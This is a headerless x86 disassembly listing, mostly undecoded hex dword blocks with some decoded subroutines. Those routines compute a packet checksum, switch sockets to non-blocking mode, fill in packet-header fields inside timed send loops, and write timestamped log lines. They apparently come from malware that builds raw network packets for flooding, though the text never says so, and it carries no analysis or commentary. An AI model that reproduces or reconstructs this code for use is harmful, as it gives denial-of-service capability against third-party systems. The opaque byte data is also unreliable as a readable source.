dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch
dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h
dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh
dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h
dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh
dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h
dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h
dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h
dd 5E8468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
dd 0C0858D50h, 68FFFFFBh, 435E4Ch, 7958E850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 435E2C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh, 7598h
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h
dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB80h, 77EEE850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h
dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 435DDC68h, 0C0858D00h, 68FFFFFBh
dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 435D8C68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
dd 0E8535959h, 22BBC88h
db 90h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A5
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414397: ; CODE XREF: ___:0041439Fj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414397
pop edi
cmp eax, 1
loc_4143A5: ; CODE XREF: ___:0041438Bj
jnz short loc_4143B2
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B2: ; CODE XREF: ___:loc_4143A5j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB868FFh, 0E8500043h
dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Bh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 82E89000h, 2B0226C3h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57868h
dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh
dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h
dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 435EECh, 7160E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh
dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360DCh, 710CE850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
dd 50004CAFh, 43608C68h, 8D1BEB00h, 0FF500C45h, 4CAFB415h
dd 0FFF88300h, 15FF2075h, 4CAF08h, 60486850h, 858D0043h
dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 601C68FFh, 0E8500043h, 706Ah
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57868ACh
dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h
dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h
dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh
dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 86E890FCh, 2B0226BEh, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB868h
dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2C68500Ch, 0EB00435Fh
db 0ACh
byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 610868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h
dd 5F022BB4h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6E
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 71AB3E5Dh
nop
jmp loc_414C2A
; ---------------------------------------------------------------------------
loc_414B6E: ; CODE XREF: ___:00414B58j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
nop
call near ptr 71AB155Ah
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CAF1C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CAF5C
test eax, eax
jnz short loc_414BD2
or eax, 0FFFFFFFFh
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BCBj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDD
loc_414BD9: ; CODE XREF: ___:00414BFDj
; ___:00414C21j
mov eax, edi
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BDD: ; CODE XREF: ___:00414BD7j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414BFF
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BD9
loc_414BFF: ; CODE XREF: ___:00414BECj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
call near ptr 71AB4122h
nop
cmp eax, edi
jz short loc_414BD9
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2A: ; CODE XREF: ___:00414B69j
; ___:00414BD0j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh
dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h
dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0E79CBF83h, 3468004Ch, 570042CAh, 6A85E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 34685750h, 57004361h, 0E8F04589h, 6A46h
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h
dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah
dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h
dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h
dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h
dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0DAE890FFh, 2B0226B7h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 224BE89h
dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D130
mov edi, 0B8h
loc_4150C8: ; CODE XREF: sub_4150B4+33j
cmp byte ptr [esi], 0
jz short loc_4150EB
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EB
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43DCB0
jl short loc_4150C8
jmp short loc_41512D
; ---------------------------------------------------------------------------
loc_4150EB: ; CODE XREF: sub_4150B4+17j
; sub_4150B4+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D130[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D148[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_429230
pop ebx
loc_41512D: ; CODE XREF: sub_4150B4+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436150
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
xor edi, edi
mov esi, offset dword_43D130
loc_41515E: ; CODE XREF: sub_415134+72j
cmp byte ptr [esi], 0
jz short loc_415199
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_43613C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
loc_415199: ; CODE XREF: sub_415134+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43DCB0
jl short loc_41515E
pop edi
pop esi
leave
retn
sub_415134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AC proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call near ptr 278019Bh
nop
mov ebx, offset dword_4D2B9C
mov edi, 80h
mov esi, offset dword_4CEB9C
loc_4151CE: ; CODE XREF: sub_4151AC+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E5
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E5: ; CODE XREF: sub_4151AC+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CE
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415220 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AC
add esp, 14h
leave
retn
sub_415220 endp
; =============== S U B R O U T I N E =======================================
sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CEB9C
xor ecx, ecx
loc_415253: ; CODE XREF: sub_41524C+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D2B9C
jl short loc_415253
cmp [esp+arg_C], ecx
jnz short loc_415281
push ecx
push [esp+4+arg_8]
push offset dword_43619C
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A72
add esp, 14h
loc_415281: ; CODE XREF: sub_41524C+19j
push offset dword_436188
call sub_4151AC
